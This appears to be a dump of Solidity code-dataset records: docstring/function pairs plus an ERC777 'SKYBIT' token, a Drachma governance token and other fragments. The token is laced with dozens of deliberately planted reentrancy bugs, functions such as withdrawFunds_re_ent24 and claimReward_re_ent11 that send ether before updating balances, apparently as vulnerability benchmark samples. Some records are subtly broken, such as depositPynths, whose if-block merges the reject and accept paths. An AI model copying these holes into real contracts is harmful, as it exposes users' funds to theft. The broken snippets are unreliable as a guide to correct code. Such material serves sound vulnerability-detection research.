log3(0x00, 0x20, _APPROVAL_FOR_ALL_EVENT_SIGNATURE, caller(), shr(96, shl(96, operator)))
}
}
| 4,455,774
|
./full_match/1/0xdca0641e507709FFE7e1e532533aC84e2c27c4bF/sources/localhost/staking/rewards/MixinPopRewards.sol
|
Computes the members and weighted stake for a pool at the current epoch. poolId ID of the pool. totalStake Total (unweighted) stake in the pool. return membersStake Non-operator stake in the pool. return weightedStake Weighted stake of the pool.
|
function _computeMembersAndWeightedStake(
bytes32 poolId,
uint256 totalStake
)
private
view
returns (uint256 membersStake, uint256 weightedStake)
{
uint256 operatorStake = getStakeDelegatedToPoolByOwner(
_poolById[poolId].operator,
poolId
).currentEpochBalance;
membersStake = totalStake.safeSub(operatorStake);
weightedStake = operatorStake.safeAdd(
LibMath.getPartialAmountFloor(
rewardDelegatedStakeWeight,
PPM_DENOMINATOR,
membersStake
)
);
return (membersStake, weightedStake);
}
| 3,221,500
|
/**
*Submitted for verification at Etherscan.io on 2019-09-22
*/
pragma solidity >=0.4.22 <0.6.0;
interface IERC777 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function granularity() external view returns (uint256);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function send(address recipient, uint256 amount, bytes calldata data) external;
function burn(uint256 amount, bytes calldata data) external;
function isOperatorFor(address operator, address tokenHolder) external view returns (bool);
function authorizeOperator(address operator) external;
function revokeOperator(address operator) external;
function defaultOperators() external view returns (address[] memory);
function operatorSend(
address sender,
address recipient,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
) external;
function operatorBurn(
address account,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
) external;
event Sent(
address indexed operator,
address indexed from,
address indexed to,
uint256 amount,
bytes data,
bytes operatorData
);
event Minted(address indexed operator, address indexed to, uint256 amount, bytes data, bytes operatorData);
event Burned(address indexed operator, address indexed from, uint256 amount, bytes data, bytes operatorData);
event AuthorizedOperator(address indexed operator, address indexed tokenHolder);
event RevokedOperator(address indexed operator, address indexed tokenHolder);
}
interface IERC777Recipient {
function tokensReceived(
address operator,
address from,
address to,
uint amount,
bytes calldata userData,
bytes calldata operatorData
) external;
}
interface IERC777Sender {
function tokensToSend(
address operator,
address from,
address to,
uint amount,
bytes calldata userData,
bytes calldata operatorData
) external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
interface IERC1820Registry {
function setManager(address account, address newManager) external;
function getManager(address account) external view returns (address);
function setInterfaceImplementer(address account, bytes32 interfaceHash, address implementer) external;
function getInterfaceImplementer(address account, bytes32 interfaceHash) external view returns (address);
function interfaceHash(string calldata interfaceName) external pure returns (bytes32);
function updateERC165Cache(address account, bytes4 interfaceId) external;
function implementsERC165Interface(address account, bytes4 interfaceId) external view returns (bool);
function implementsERC165InterfaceNoCache(address account, bytes4 interfaceId) external view returns (bool);
event InterfaceImplementerSet(address indexed account, bytes32 indexed interfaceHash, address indexed implementer);
event ManagerChanged(address indexed account, address indexed newManager);
}
contract ERC777 is IERC777, IERC20 {
using SafeMath for uint256;
using Address for address;
IERC1820Registry private _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
mapping(address => uint256) private _balances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
bytes32 constant private TOKENS_SENDER_INTERFACE_HASH =
0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895;
bytes32 constant private TOKENS_RECIPIENT_INTERFACE_HASH =
0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b;
address[] private _defaultOperatorsArray;
mapping(address => bool) private _defaultOperators;
mapping(address => mapping(address => bool)) private _operators;
mapping(address => mapping(address => bool)) private _revokedDefaultOperators;
mapping (address => mapping (address => uint256)) private _allowances;
constructor(
string memory name,
string memory symbol,
address[] memory defaultOperators
) public {
_name = name;
_symbol = symbol;
_defaultOperatorsArray = defaultOperators;
for (uint256 i = 0; i < _defaultOperatorsArray.length; i++) {
_defaultOperators[_defaultOperatorsArray[i]] = true;
}
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC777Token"), address(this));
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC20Token"), address(this));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return 18;
}
function granularity() public view returns (uint256) {
return 1;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address tokenHolder) public view returns (uint256) {
return _balances[tokenHolder];
}
function send(address recipient, uint256 amount, bytes calldata data) external {
_send(msg.sender, msg.sender, recipient, amount, data, "", true);
}
function transfer(address recipient, uint256 amount) external returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
address from = msg.sender;
_callTokensToSend(from, from, recipient, amount, "", "");
_move(from, from, recipient, amount, "", "");
_callTokensReceived(from, from, recipient, amount, "", "", false);
return true;
}
mapping(address => uint) redeemableEther_re_ent18;
function claimReward_re_ent18() public {
// ensure there is a reward to give
require(redeemableEther_re_ent18[msg.sender] > 0);
uint transferValue_re_ent18 = redeemableEther_re_ent18[msg.sender];
msg.sender.transfer(transferValue_re_ent18); //bug
redeemableEther_re_ent18[msg.sender] = 0;
}
function burn(uint256 amount, bytes calldata data) external {
_burn(msg.sender, msg.sender, amount, data, "");
}
mapping(address => uint) balances_re_ent29;
function withdraw_balances_re_ent29 () public {
if (msg.sender.send(balances_re_ent29[msg.sender ]))
balances_re_ent29[msg.sender] = 0;
}
function isOperatorFor(
address operator,
address tokenHolder
) public view returns (bool) {
return operator == tokenHolder ||
(_defaultOperators[operator] && !_revokedDefaultOperators[tokenHolder][operator]) ||
_operators[tokenHolder][operator];
}
bool not_called_re_ent6 = true;
function bug_re_ent6() public{
require(not_called_re_ent6);
if( ! (msg.sender.send(1 ether) ) ){
revert();
}
not_called_re_ent6 = false;
}
function authorizeOperator(address operator) external {
require(msg.sender != operator, "ERC777: authorizing self as operator");
if (_defaultOperators[operator]) {
delete _revokedDefaultOperators[msg.sender][operator];
} else {
_operators[msg.sender][operator] = true;
}
emit AuthorizedOperator(operator, msg.sender);
}
address payable lastPlayer_re_ent16;
uint jackpot_re_ent16;
function buyTicket_re_ent16() public{
if (!(lastPlayer_re_ent16.send(jackpot_re_ent16)))
revert();
lastPlayer_re_ent16 = msg.sender;
jackpot_re_ent16 = address(this).balance;
}
function revokeOperator(address operator) external {
require(operator != msg.sender, "ERC777: revoking self as operator");
if (_defaultOperators[operator]) {
_revokedDefaultOperators[msg.sender][operator] = true;
} else {
delete _operators[msg.sender][operator];
}
emit RevokedOperator(operator, msg.sender);
}
mapping(address => uint) balances_re_ent24;
function withdrawFunds_re_ent24 (uint256 _weiToWithdraw) public {
require(balances_re_ent24[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
require(msg.sender.send(_weiToWithdraw)); //bug
balances_re_ent24[msg.sender] -= _weiToWithdraw;
}
function defaultOperators() public view returns (address[] memory) {
return _defaultOperatorsArray;
}
mapping(address => uint) userBalance_re_ent5;
function withdrawBalance_re_ent5() public{
// send userBalance[msg.sender] ethers to msg.sender
// if mgs.sender is a contract, it will call its fallback function
if( ! (msg.sender.send(userBalance_re_ent5[msg.sender]) ) ){
revert();
}
userBalance_re_ent5[msg.sender] = 0;
}
function operatorSend(
address sender,
address recipient,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
)
external
{
require(isOperatorFor(msg.sender, sender), "ERC777: caller is not an operator for holder");
_send(msg.sender, sender, recipient, amount, data, operatorData, true);
}
mapping(address => uint) balances_re_ent15;
function withdraw_balances_re_ent15 () public {
if (msg.sender.send(balances_re_ent15[msg.sender ]))
balances_re_ent15[msg.sender] = 0;
}
function operatorBurn(address account, uint256 amount, bytes calldata data, bytes calldata operatorData) external {
require(isOperatorFor(msg.sender, account), "ERC777: caller is not an operator for holder");
_burn(msg.sender, account, amount, data, operatorData);
}
uint256 counter_re_ent28 =0;
function callme_re_ent28() public{
require(counter_re_ent28<=5);
if( ! (msg.sender.send(10 ether) ) ){
revert();
}
counter_re_ent28 += 1;
}
function allowance(address holder, address spender) public view returns (uint256) {
return _allowances[holder][spender];
}
bool not_called_re_ent34 = true;
function bug_re_ent34() public{
require(not_called_re_ent34);
if( ! (msg.sender.send(1 ether) ) ){
revert();
}
not_called_re_ent34 = false;
}
function approve(address spender, uint256 value) external returns (bool) {
address holder = msg.sender;
_approve(holder, spender, value);
return true;
}
uint256 counter_re_ent21 =0;
function callme_re_ent21() public{
require(counter_re_ent21<=5);
if( ! (msg.sender.send(10 ether) ) ){
revert();
}
counter_re_ent21 += 1;
}
function transferFrom(address holder, address recipient, uint256 amount) external returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
require(holder != address(0), "ERC777: transfer from the zero address");
address spender = msg.sender;
_callTokensToSend(spender, holder, recipient, amount, "", "");
_move(spender, holder, recipient, amount, "", "");
_approve(holder, spender, _allowances[holder][spender].sub(amount));
_callTokensReceived(spender, holder, recipient, amount, "", "", false);
return true;
}
mapping(address => uint) balances_re_ent10;
function withdrawFunds_re_ent10 (uint256 _weiToWithdraw) public {
require(balances_re_ent10[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
require(msg.sender.send(_weiToWithdraw)); //bug
balances_re_ent10[msg.sender] -= _weiToWithdraw;
}
function _mint(
address operator,
address account,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal
{
require(account != address(0), "ERC777: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
_callTokensReceived(operator, address(0), account, amount, userData, operatorData, true);
emit Minted(operator, account, amount, userData, operatorData);
emit Transfer(address(0), account, amount);
}
mapping(address => uint) balances_re_ent21;
function withdraw_balances_re_ent21 () public {
if (msg.sender.send(balances_re_ent21[msg.sender ]))
balances_re_ent21[msg.sender] = 0;
}
function _send(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
private
{
require(from != address(0), "ERC777: send from the zero address");
require(to != address(0), "ERC777: send to the zero address");
_callTokensToSend(operator, from, to, amount, userData, operatorData);
_move(operator, from, to, amount, userData, operatorData);
_callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck);
}
mapping(address => uint) userBalance_re_ent12;
function withdrawBalance_re_ent12() public{
// send userBalance[msg.sender] ethers to msg.sender
// if mgs.sender is a contract, it will call its fallback function
if( ! (msg.sender.send(userBalance_re_ent12[msg.sender]) ) ){
revert();
}
userBalance_re_ent12[msg.sender] = 0;
}
function _burn(
address operator,
address from,
uint256 amount,
bytes memory data,
bytes memory operatorData
)
private
{
require(from != address(0), "ERC777: burn from the zero address");
_callTokensToSend(operator, from, address(0), amount, data, operatorData);
_totalSupply = _totalSupply.sub(amount);
_balances[from] = _balances[from].sub(amount);
emit Burned(operator, from, amount, data, operatorData);
emit Transfer(from, address(0), amount);
}
mapping(address => uint) redeemableEther_re_ent11;
function claimReward_re_ent11() public {
// ensure there is a reward to give
require(redeemableEther_re_ent11[msg.sender] > 0);
uint transferValue_re_ent11 = redeemableEther_re_ent11[msg.sender];
msg.sender.transfer(transferValue_re_ent11); //bug
redeemableEther_re_ent11[msg.sender] = 0;
}
function _move(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
private
{
_balances[from] = _balances[from].sub(amount);
_balances[to] = _balances[to].add(amount);
emit Sent(operator, from, to, amount, userData, operatorData);
emit Transfer(from, to, amount);
}
mapping(address => uint) balances_re_ent1;
function withdraw_balances_re_ent1 () public {
if (msg.sender.send(balances_re_ent1[msg.sender ]))
balances_re_ent1[msg.sender] = 0;
}
function _approve(address holder, address spender, uint256 value) private {
require(spender != address(0), "ERC777: approve to the zero address");
_allowances[holder][spender] = value;
emit Approval(holder, spender, value);
}
bool not_called_re_ent41 = true;
function bug_re_ent41() public{
require(not_called_re_ent41);
if( ! (msg.sender.send(1 ether) ) ){
revert();
}
not_called_re_ent41 = false;
}
function _callTokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
private
{
address implementer = _erc1820.getInterfaceImplementer(from, TOKENS_SENDER_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Sender(implementer).tokensToSend(operator, from, to, amount, userData, operatorData);
}
}
uint256 counter_re_ent42 =0;
function callme_re_ent42() public{
require(counter_re_ent42<=5);
if( ! (msg.sender.send(10 ether) ) ){
revert();
}
counter_re_ent42 += 1;
}
function _callTokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
private
{
address implementer = _erc1820.getInterfaceImplementer(to, TOKENS_RECIPIENT_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Recipient(implementer).tokensReceived(operator, from, to, amount, userData, operatorData);
} else if (requireReceptionAck) {
require(!to.isContract(), "ERC777: token recipient contract has no implementer for ERC777TokensRecipient");
}
}
address payable lastPlayer_re_ent2;
uint jackpot_re_ent2;
function buyTicket_re_ent2() public{
if (!(lastPlayer_re_ent2.send(jackpot_re_ent2)))
revert();
lastPlayer_re_ent2 = msg.sender;
jackpot_re_ent2 = address(this).balance;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
contract MinterRole {
using Roles for Roles.Role;
uint256 counter_re_ent35 =0;
function callme_re_ent35() public{
require(counter_re_ent35<=5);
if( ! (msg.sender.send(10 ether) ) ){
revert();
}
counter_re_ent35 += 1;
}
event MinterAdded(address indexed account);
mapping(address => uint) userBalance_re_ent40;
function withdrawBalance_re_ent40() public{
// send userBalance[msg.sender] ethers to msg.sender
// if mgs.sender is a contract, it will call its fallback function
if( ! (msg.sender.send(userBalance_re_ent40[msg.sender]) ) ){
revert();
}
userBalance_re_ent40[msg.sender] = 0;
}
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor () internal {
_addMinter(msg.sender);
}
mapping(address => uint) balances_re_ent17;
function withdrawFunds_re_ent17 (uint256 _weiToWithdraw) public {
require(balances_re_ent17[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
require(msg.sender.send(_weiToWithdraw)); //bug
balances_re_ent17[msg.sender] -= _weiToWithdraw;
}
modifier onlyMinter() {
require(isMinter(msg.sender), "MinterRole: caller does not have the Minter role");
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
address payable lastPlayer_re_ent37;
uint jackpot_re_ent37;
function buyTicket_re_ent37() public{
if (!(lastPlayer_re_ent37.send(jackpot_re_ent37)))
revert();
lastPlayer_re_ent37 = msg.sender;
jackpot_re_ent37 = address(this).balance;
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
mapping(address => uint) balances_re_ent3;
function withdrawFunds_re_ent3 (uint256 _weiToWithdraw) public {
require(balances_re_ent3[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
require(msg.sender.send(_weiToWithdraw)); //bug
balances_re_ent3[msg.sender] -= _weiToWithdraw;
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
address payable lastPlayer_re_ent9;
uint jackpot_re_ent9;
function buyTicket_re_ent9() public{
if (!(lastPlayer_re_ent9.send(jackpot_re_ent9)))
revert();
lastPlayer_re_ent9 = msg.sender;
jackpot_re_ent9 = address(this).balance;
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
mapping(address => uint) redeemableEther_re_ent25;
function claimReward_re_ent25() public {
// ensure there is a reward to give
require(redeemableEther_re_ent25[msg.sender] > 0);
uint transferValue_re_ent25 = redeemableEther_re_ent25[msg.sender];
msg.sender.transfer(transferValue_re_ent25); //bug
redeemableEther_re_ent25[msg.sender] = 0;
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
mapping(address => uint) userBalance_re_ent19;
function withdrawBalance_re_ent19() public{
// send userBalance[msg.sender] ethers to msg.sender
// if mgs.sender is a contract, it will call its fallback function
if( ! (msg.sender.send(userBalance_re_ent19[msg.sender]) ) ){
revert();
}
userBalance_re_ent19[msg.sender] = 0;
}
}
contract PauserRole {
using Roles for Roles.Role;
mapping(address => uint) userBalance_re_ent33;
function withdrawBalance_re_ent33() public{
// send userBalance[msg.sender] ethers to msg.sender
// if mgs.sender is a contract, it will call its fallback function
if( ! (msg.sender.send(userBalance_re_ent33[msg.sender]) ) ){
revert();
}
userBalance_re_ent33[msg.sender] = 0;
}
event PauserAdded(address indexed account);
bool not_called_re_ent27 = true;
function bug_re_ent27() public{
require(not_called_re_ent27);
if( ! (msg.sender.send(1 ether) ) ){
revert();
}
not_called_re_ent27 = false;
}
event PauserRemoved(address indexed account);
Roles.Role private _pausers;
constructor () internal {
_addPauser(msg.sender);
}
mapping(address => uint) userBalance_re_ent26;
function withdrawBalance_re_ent26() public{
// send userBalance[msg.sender] ethers to msg.sender
// if mgs.sender is a contract, it will call its fallback function
if( ! (msg.sender.send(userBalance_re_ent26[msg.sender]) ) ){
revert();
}
userBalance_re_ent26[msg.sender] = 0;
}
modifier onlyPauser() {
require(isPauser(msg.sender), "PauserRole: caller does not have the Pauser role");
_;
}
function isPauser(address account) public view returns (bool) {
return _pausers.has(account);
}
bool not_called_re_ent20 = true;
function bug_re_ent20() public{
require(not_called_re_ent20);
if( ! (msg.sender.send(1 ether) ) ){
revert();
}
not_called_re_ent20 = false;
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
mapping(address => uint) redeemableEther_re_ent32;
function claimReward_re_ent32() public {
// ensure there is a reward to give
require(redeemableEther_re_ent32[msg.sender] > 0);
uint transferValue_re_ent32 = redeemableEther_re_ent32[msg.sender];
msg.sender.transfer(transferValue_re_ent32); //bug
redeemableEther_re_ent32[msg.sender] = 0;
}
function renouncePauser() public {
_removePauser(msg.sender);
}
mapping(address => uint) balances_re_ent38;
function withdrawFunds_re_ent38 (uint256 _weiToWithdraw) public {
require(balances_re_ent38[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
require(msg.sender.send(_weiToWithdraw)); //bug
balances_re_ent38[msg.sender] -= _weiToWithdraw;
}
function _addPauser(address account) internal {
_pausers.add(account);
emit PauserAdded(account);
}
mapping(address => uint) redeemableEther_re_ent4;
function claimReward_re_ent4() public {
// ensure there is a reward to give
require(redeemableEther_re_ent4[msg.sender] > 0);
uint transferValue_re_ent4 = redeemableEther_re_ent4[msg.sender];
msg.sender.transfer(transferValue_re_ent4); //bug
redeemableEther_re_ent4[msg.sender] = 0;
}
function _removePauser(address account) internal {
_pausers.remove(account);
emit PauserRemoved(account);
}
uint256 counter_re_ent7 =0;
function callme_re_ent7() public{
require(counter_re_ent7<=5);
if( ! (msg.sender.send(10 ether) ) ){
revert();
}
counter_re_ent7 += 1;
}
}
contract Pausable is PauserRole {
mapping(address => uint) balances_re_ent31;
function withdrawFunds_re_ent31 (uint256 _weiToWithdraw) public {
require(balances_re_ent31[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
require(msg.sender.send(_weiToWithdraw)); //bug
balances_re_ent31[msg.sender] -= _weiToWithdraw;
}
event Paused(address account);
bool not_called_re_ent13 = true;
function bug_re_ent13() public{
require(not_called_re_ent13);
if( ! (msg.sender.send(1 ether) ) ){
revert();
}
not_called_re_ent13 = false;
}
event Unpaused(address account);
bool private _paused;
constructor () internal {
_paused = false;
}
address payable lastPlayer_re_ent23;
uint jackpot_re_ent23;
function buyTicket_re_ent23() public{
if (!(lastPlayer_re_ent23.send(jackpot_re_ent23)))
revert();
lastPlayer_re_ent23 = msg.sender;
jackpot_re_ent23 = address(this).balance;
}
function paused() public view returns (bool) {
return _paused;
}
uint256 counter_re_ent14 =0;
function callme_re_ent14() public{
require(counter_re_ent14<=5);
if( ! (msg.sender.send(10 ether) ) ){
revert();
}
counter_re_ent14 += 1;
}
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
address payable lastPlayer_re_ent30;
uint jackpot_re_ent30;
function buyTicket_re_ent30() public{
if (!(lastPlayer_re_ent30.send(jackpot_re_ent30)))
revert();
lastPlayer_re_ent30 = msg.sender;
jackpot_re_ent30 = address(this).balance;
}
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
mapping(address => uint) balances_re_ent8;
function withdraw_balances_re_ent8 () public {
if (msg.sender.send(balances_re_ent8[msg.sender ]))
balances_re_ent8[msg.sender] = 0;
}
}
contract SKYBITToken is ERC777, MinterRole, Pausable {
constructor(
uint256 initialSupply,
address[] memory defaultOperators
)
ERC777("SKYBIT", "SKYBIT", defaultOperators)
public {
_mint(msg.sender, msg.sender, initialSupply, "", "");
}
mapping(address => uint) redeemableEther_re_ent39;
function claimReward_re_ent39() public {
// ensure there is a reward to give
require(redeemableEther_re_ent39[msg.sender] > 0);
uint transferValue_re_ent39 = redeemableEther_re_ent39[msg.sender];
msg.sender.transfer(transferValue_re_ent39); //bug
redeemableEther_re_ent39[msg.sender] = 0;
}
function mint(address operator, address account, uint256 amount, bytes memory userData, bytes memory operatorData) public onlyMinter returns (bool) {
_mint(operator, account, amount, userData, operatorData);
return true;
}
mapping(address => uint) balances_re_ent36;
function withdraw_balances_re_ent36 () public {
if (msg.sender.send(balances_re_ent36[msg.sender ]))
balances_re_ent36[msg.sender] = 0;
}
}
|
limit the withdrawal
|
function withdrawFunds_re_ent31 (uint256 _weiToWithdraw) public {
require(balances_re_ent31[msg.sender] >= _weiToWithdraw);
balances_re_ent31[msg.sender] -= _weiToWithdraw;
}
event Paused(address account);
bool not_called_re_ent13 = true;
| 6,345,673
|
./partial_match/42/0xD5B34Ceab314cDAe37A90897B61aeD755e0b2CF0/sources/Depot.sol
|
depositPynths: Allows users to deposit Pynths via the approve / transferFrom workflow amount The amount of pUSD you wish to deposit (must have been approved first)/ Grab the amount of Pynths. Will fail if not approved first A minimum deposit amount is designed to protect purchasers from over paying gas for fullfilling multiple small Pynth deposits We cant fail/revert the transaction or send the Pynths back in a reentrant call. So we will keep your Pynths balance seperate from the FIFO queue so you can withdraw them Ok, thanks for the deposit, let's queue it up. Walk our index forward as well. And add it to our total.
|
function depositPynths(uint amount) external {
PynthpUSD().transferFrom(msg.sender, address(this), amount);
if (amount < minimumDepositAmount) {
smallDeposits[msg.sender] = smallDeposits[msg.sender].add(amount);
emit PynthDepositNotAccepted(msg.sender, amount, minimumDepositAmount);
emit PynthDeposit(msg.sender, amount, depositEndIndex);
depositEndIndex = depositEndIndex.add(1);
totalSellableDeposits = totalSellableDeposits.add(amount);
}
}
| 3,342,793
|
./full_match/1/0x134707D2208F12A6404D23F0Ae24D2A55E9F2A1A/sources/contracts/ThirtyTwoDreams.sol
|
IMPORTANT: Value should be entered in wei, not ether units/
|
function setMintCost(uint256 _newMintCost) external onlyOwner {
require(_newMintCost <= 0.16 ether, "Max price is 0.16 ether");
mintCost = _newMintCost;
}
| 16,540,137
|
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/GSN/Context.sol";
import "./Ownable.sol";
// Drachma is a token used for Governance. It is minted by Plutus, and they cannot be transfered.
contract Drachma is Ownable {
using SafeMath for uint256;
// ** ERC20 variables ** //
mapping (address => uint256) private _balances;
uint256 private _totalSupply;
string private constant _name = "Drachma";
string private constant _symbol = "DRACHMA";
uint8 private constant _decimals = 18;
// ** Governance variables ** //
/// @dev A record of each accounts delegate
mapping(address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint256 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping(address => mapping(uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping(address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256(
"EIP712Domain(string name,uint256 chainId,address verifyingContract)"
);
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256(
"Delegation(address delegatee,uint256 nonce,uint256 expiry)"
);
/// @notice A record of states for signing / validating signatures
mapping(address => uint256) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(
address indexed delegator,
address indexed fromDelegate,
address indexed toDelegate
);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(
address indexed delegate,
uint256 previousBalance,
uint256 newBalance
);
event Minted(
address indexed minter,
address indexed receiver,
uint256 mintAmount
);
event Burned(address indexed burner, uint256 burnAmount);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor () public{
}
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
emit Minted(owner(), _to, _amount);
}
function burn(address _to, uint256 _amount) public onlyOwner{
_burn(_to, _amount);
emit Burned(_to, _amount);
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(
address delegatee,
uint256 nonce,
uint256 expiry,
uint8 v,
bytes32 r,
bytes32 s
) external {
bytes32 domainSeparator = keccak256(
abi.encode(
DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)
)
);
bytes32 structHash = keccak256(
abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)
);
bytes32 digest = keccak256(
abi.encodePacked("\x19\x01", domainSeparator, structHash)
);
address signatory = ecrecover(digest, v, r, s);
require(
signatory != address(0),
"POLIS::delegateBySig: invalid signature"
);
require(
nonce == nonces[signatory]++,
"POLIS::delegateBySig: invalid nonce"
);
require(block.timestamp <= expiry, "POLIS::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegator The address to get delegatee for
*/
function delegates(address delegator) external view returns (address) {
return _delegates[delegator];
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint256) {
uint32 nCheckpoints = numCheckpoints[account];
return
nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint256 blockNumber)
external
view
returns (uint256)
{
require(
blockNumber < block.number,
"POLIS::getPriorVotes: not yet determined"
);
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying POLIs (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(
address srcRep,
address dstRep,
uint256 amount
) internal {
if (srcRep != dstRep && amount > 0) {
